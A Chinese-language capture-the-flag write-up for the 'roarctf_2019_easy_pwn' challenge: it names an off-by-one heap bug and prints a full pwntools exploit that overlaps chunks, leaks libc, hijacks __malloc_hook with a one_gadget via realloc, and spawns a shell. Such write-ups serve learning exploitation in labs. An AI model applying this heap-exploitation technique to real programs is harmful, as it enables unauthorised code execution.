edit chunk的功能里 存在off_by_one漏洞。
利用思路:
构造堆块重叠
然后house of sprit。
exp:
from pwn import *
p = process("./roarctf_2019_easy_pwn")
e = ELF("./roarctf_2019_easy_pwn")
libc = e.libc
context.log_level = "debug"
p.timeout = 0.1
def add(size):
p.recvuntil("./choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))
def edit(index,size,content):
p.recvuntil("./choice: ")
p.sendline("2")
p.recvuntil("index ")
p.sendline(str(index))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.sendline(content)
def free(index):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index")
p.sendline(str(index))
def show(index):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("index ")
p.sendline(str(index))
add(0x18)
add(0x18)
add(0x80)
add(0x10)
pl1 = "a"*(0x10) + p64(0x20) + p8(0x91)
edit(0,len(pl1)-1+10,pl1)
pl2 = "\x00"*(0x60) + p64(0x90) + p64(0x21)
edit(2,len(pl2),pl2)
free(1)
add(0x80)
pl3 = "\x00"*(0x10) + p64(0) + p64(0x91)
edit(1,len(pl3),pl3)
free(2)
show(1)
arena_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
log.success("arena_addr:"+hex(arena_addr))
libc_addr = arena_addr - 0x3c4b78
log.success("libc_addr: "+hex(libc_addr))
add(0x60)
free(2)
malloc_hook = libc_addr + libc.sym["__malloc_hook"]
relloc_hook = libc_addr + libc.sym["__realloc_hook"]
realloc = libc_addr + libc.sym['realloc']
pl4 = "\x00"*(0x18) + p64(0x71) + p64(malloc_hook-0x23)
edit(1,len(pl4),pl4)
add(0x60)
add(0x60)
one = [0x45226,0x4527a,0xf03a4,0xf1247]
pl5 = "a"*(11) + p64(libc_addr+one[1]) + p64(realloc)
# pl5 = "a"*(0x13) + p64(libc_addr + one[3])
edit(4,len(pl5),pl5)
# gdb.attach(p)
add(0x10)
p.interactive()
tips:这道题再像之前一样修改 malloc_hook 为one_gadget 已经不行了,需要通过reallloc 来调整栈帧结构。
realloc函数执行时,不同于malloc和free,可以参考其汇编代码,他会先进行压栈操作,然后再执行realloc_hook,我们可以通过调整其偏移,来调整栈帧 0 2 4 6 8 11 12。